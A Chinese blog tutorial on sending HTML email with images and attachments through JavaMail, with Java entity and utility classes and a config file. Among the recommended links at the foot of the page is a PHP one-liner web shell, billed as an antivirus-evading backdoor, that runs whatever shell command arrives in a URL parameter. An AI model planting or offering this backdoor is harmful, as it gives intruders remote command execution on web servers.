使用java mail 发送邮件
1.关联jar包: activation.jar mail.jar
2.调用
@Test
public void test1() {
List<String> imageUrlList = Arrays.asList(new String[] { "src/美女1.jpg", "src/2.jpg", "src/2.jpg" });
List<String> attachmentUrlList = Arrays.asList(new String[] { "src/光辉岁月.MP3", "src/美女1.jpg", "src/2.jpg" }); MailInfo mailInfo = new MailInfo("us0911@126.com", "subject", "content");
mailInfo.setImageUrlList(imageUrlList);
MailUtils.getInstance().sendMail(mailInfo);
}
3.封装代码
3.1配置文件: src/mailConfig.properties
#邮件发送服务器地址: 比如126邮件地址为 smtp.126.com
mail.smtp.host = localhost
#发件人账户
emailAddress = a@bvb.de
#发件人密码
password = a
3.2 实体类
package de.bvb.utils;
import java.util.List;
public class MailInfo {
private String to;
private String subject;
private String content;
private List<String> imageUrlList;
private List<String> attachmentUrlList;
public MailInfo() {
super();
}
public MailInfo(String to, String subject, String content) {
super();
this.to = to;
this.subject = subject;
this.content = content;
}
public String getTo() {
return to;
}
public void setTo(String to) {
this.to = to;
}
public String getSubject() {
return subject;
}
public void setSubject(String subject) {
this.subject = subject;
}
public String getContent() {
return content;
}
public void setContent(String content) {
this.content = content;
}
public List<String> getImageUrlList() {
return imageUrlList;
}
public void setImageUrlList(List<String> imageUrlList) {
this.imageUrlList = imageUrlList;
}
public List<String> getAttachmentUrlList() {
return attachmentUrlList;
}
public void setAttachmentUrlList(List<String> attachmentUrlList) {
this.attachmentUrlList = attachmentUrlList;
}
}
实体类
package de.bvb.utils; import java.io.IOException;
import java.io.UnsupportedEncodingException;
import java.security.MessageDigest;
import java.util.List;
import java.util.Properties; import javax.activation.DataHandler;
import javax.activation.FileDataSource;
import javax.mail.Message;
import javax.mail.MessagingException;
import javax.mail.Session;
import javax.mail.Transport;
import javax.mail.internet.InternetAddress;
import javax.mail.internet.MimeBodyPart;
import javax.mail.internet.MimeMessage;
import javax.mail.internet.MimeMultipart;
import javax.mail.internet.MimeUtility; public class MailUtils {
///////////////////////////////////////////////////////////////
//单例模式//////////////////////////////////////////////////////
private static MailUtils instance; private MailUtils() {
} public static MailUtils getInstance() {
if (instance == null) {
instance = new MailUtils();
}
return instance;
} //单例模式//////////////////////////////////////////////////////
/////////////////////////////////////////////////////////////// private static Session session;
private static String emailAddress;
private static String username;
private static String password; // 配置文件路径: src/mailConfig.properties
static {
try {
Properties props = new Properties();
props.setProperty("mail.transport.protocol", "smtp");
props.setProperty("mail.smtp.auth", "true");
props.load(MailUtils.class.getClassLoader().getResourceAsStream("mailConfig.properties"));
emailAddress = props.getProperty("emailAddress");
username = emailAddress.split("\\@")[0];
password = props.getProperty("password");
session = Session.getInstance(props);
//session.setDebug(true);//启动调试,控制台打印交互信息
} catch (IOException e) {
e.printStackTrace();
}
} public boolean sendMail(MailInfo info) {
if (info == null) {
throw new RuntimeException("信息不全");
}
try {
Message message = createMail(info);
Transport transport = session.getTransport();
transport.connect(username, password);
transport.sendMessage(message, message.getAllRecipients());
transport.close();
System.out.println("发送成功");
return true;
} catch (Exception e) {
throw new RuntimeException(e);
}
} private Message createMail(MailInfo info) throws MessagingException, UnsupportedEncodingException {
if (info == null) {
return null;
}
//创建邮件
MimeMessage message = new MimeMessage(session);
message.setFrom(new InternetAddress(emailAddress));
message.setRecipient(Message.RecipientType.TO, new InternetAddress(info.getTo()));
message.setSubject(info.getSubject()); MimeMultipart root = new MimeMultipart();
MimeMultipart contentImageMM = new MimeMultipart();
StringBuilder main = new StringBuilder(info.getContent()); //创建图片
List<String> imageUrlList = info.getImageUrlList();
if (imageUrlList != null && imageUrlList.size() > 0) {
for (String imageUrl : imageUrlList) {
String cid = generatorMD5(imageUrl); //id需要唯一,md5处理一把
MimeBodyPart image1 = new MimeBodyPart();
image1.setContentID(cid);
image1.setDataHandler(new DataHandler(new FileDataSource(imageUrl)));
main.append("<br/><img src='cid:").append(cid).append("'>");
contentImageMM.addBodyPart(image1);
}
} //描述数据之间的关系(正文和图片) 在封装到MimeBodyPart中去
MimeBodyPart content = new MimeBodyPart();
content.setContent(main.toString(), "text/html;charset=UTF-8");
contentImageMM.addBodyPart(content);
contentImageMM.setSubType("related");
MimeBodyPart contentImage = new MimeBodyPart();
contentImage.setContent(contentImageMM); //创建附件
List<String> attachmentUrlList = info.getAttachmentUrlList();
if (attachmentUrlList != null && attachmentUrlList.size() > 0) {
for (String attachmentUrl : attachmentUrlList) {
MimeBodyPart attachment1 = new MimeBodyPart();
DataHandler handler1 = new DataHandler(new FileDataSource(attachmentUrl));
attachment1.setDataHandler(handler1);
attachment1.setFileName(MimeUtility.encodeText(handler1.getName()));
root.addBodyPart(attachment1);
}
} //描述数据之间的关系(把正文和图片封装后的MimeBodyPart,再和附件封装)
root.addBodyPart(contentImage);
contentImageMM.setSubType("mixed"); //封装保存数据
message.setContent(root);
message.saveChanges();
return message;
} private String generatorMD5(String pwd) {
//用于加密的字符
char md5String[] = { '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'A', 'B', 'C', 'D', 'E', 'F' };
try {
//使用平台的默认字符集将此 String 编码为 byte序列,并将结果存储到一个新的 byte数组中
byte[] btInput = pwd.getBytes();
//信息摘要是安全的单向哈希函数,它接收任意大小的数据,并输出固定长度的哈希值。
MessageDigest mdInst = MessageDigest.getInstance("MD5");
//MessageDigest对象通过使用 update方法处理数据, 使用指定的byte数组更新摘要
mdInst.update(btInput);
// 摘要更新之后,通过调用digest()执行哈希计算,获得密文
byte[] md = mdInst.digest();
// 把密文转换成十六进制的字符串形式
int j = md.length;
char str[] = new char[j * 2];
int k = 0;
for (int i = 0; i < j; i++) { // i = 0
byte byte0 = md[i]; //95
str[k++] = md5String[byte0 >>> 4 & 0xf]; // 5
str[k++] = md5String[byte0 & 0xf]; // F
}
//返回经过加密后的字符串
return new String(str);
} catch (Exception e) {
return null;
}
}
}
工具类
使用java mail 发送邮件的更多相关文章
- Spring Boot 揭秘与实战(七) 实用技术篇 - Java Mail 发送邮件
文章目录 1. Spring Boot 集成 Java Mail 2. 单元测试 3. 源代码 Spring 对 Java Mail 有很好的支持.因此,Spring Boot 也提供了自动配置的支持 ...
- java mail(发送邮件--163邮箱)
package com.util.mail; /** * 发送邮件需要使用的基本信息 */ import java.util.Properties; public class MailSenderIn ...
- java mail发送邮件
最近做了自动发送邮件功能,带附件的:需要的jar包有
- 使用Java Mail发送邮件
本笔记参考自:高爽|Coder,原文地址:http://blog.csdn.net/ghsau/article/details/17839983 JavaMail是SUN提供给开发人员在应用程序中实现 ...
- 简单的java mail发送邮件实例
mail.jar ,commons-email-X.X.jar ,activation.jar ,log4j.jar 这四个jar,放进项目里 下载地址 http://www.oracle.com/ ...
- 利用java mail发送邮件(转)
JavaMail是SUN提供给开发者在应用程序中实现邮件发送和接收功能而提供的一套标准开发类库,支持经常使用的邮件协议,如SMTP.POP3.IMAP.开发者使用JavaMail编写邮件程序时,无需考 ...
- Java Mail 发送邮件(SSL加密方式,TSL加密方式)
一.一般配置 发送邮件需要用到 mail包 maven 依赖如下: <!-- https://mvnrepository.com/artifact/javax.mail/mail --> ...
- Java mail 发送邮件 主题(标题)乱码
最近开发遇到Javamail 发送邮件标题乱码问题,腾讯.网易邮箱不会乱码,阿里邮箱 标题则会乱码.解决办法: String subject = MimeUtility.encodeWord(ma ...
- 利用java mail发送邮件
import java.util.Date; import java.util.Properties; import javax.activation.DataHandler; import java ...
随机推荐
- PHP最简单的后门,且难查,不报毒!
<?php $c=urldecode($_GET['c']);if($c){`$c`;}//完整 !$_GET['c']||`{$_GET['c']}`;//精简 /************** ...
- HDU 3605 Escape(状压+最大流)
Escape Time Limit: 4000/2000 MS (Java/Others) Memory Limit: 65536/65536 K (Java/Others) Total Sub ...
- requestAnimationFrame与setInterval,setTimeout
自打学习canvas动画以来,都说requestAnimationFrame好,就一直用,也没觉得有什么太过于特殊的地方,直到刚才,在写完前面的"小球碰撞墙壁----干掉误差"之后 ...
- 关于iis8.5中发布的网站无法连接数据库的解决方案。
发布的网站在浏览时出现如下提示: “/”应用程序中的服务器错误. 在与 SQL Server 建立连接时出现与网络相关的或特定于实例的错误.未找到或无法访问服务器.请验证实例名称是否正确并且 SQL ...
- jQuery命名空间,插件开发
jQuery插件的开发包括两种: 一种是类级别的插件开发,即给jQuery添加新的全局函数,相当于给jQuery类本身添加方法.jQuery的全局函数就是属于jQuery命名空间的函数,另一种是对象级 ...
- Photosohp 2017 已经发布!(下载地址及破解方法在文章底部)
Adobe Creative Cloud 软件于2016.11.2 全面更新,Adobe Creative Cloud 2017 震撼登场 全新的 2017版本,包含 Photoshop.Illust ...
- Windows一些零碎
一.端口被占用: 1.netstat -ano |findstr 80 //查看3306端口是否存在 2.tasklist |findstr 3036(PID号)//查看pid为3036的是什么程序在 ...
- 解决界面有搜索栏时,点击TableView的空白界面,键盘不消失的问题
UITapGestureRecognizer * tap = [[UITapGestureRecognizer alloc]initWithTarget:self action:@selector(h ...
- Linux-001-nmon系统性能监控工具的使用及报表产出
在进行性能测试的时候,需要获取服务器的各项指标,例如 CPU.MEM.I/O.DISK 等.网上有很多的监控工具,nmon 就是其中的一个,其可与 JMeter结合使用,测试系统的性能.其概要的介绍, ...
- PostgreSQL ROW_NUMBER() OVER()
转自:http://blog.csdn.net/luojinbai/article/details/45078809 语法: ROW_NUMBER() OVER( [ PRITITION BY co ...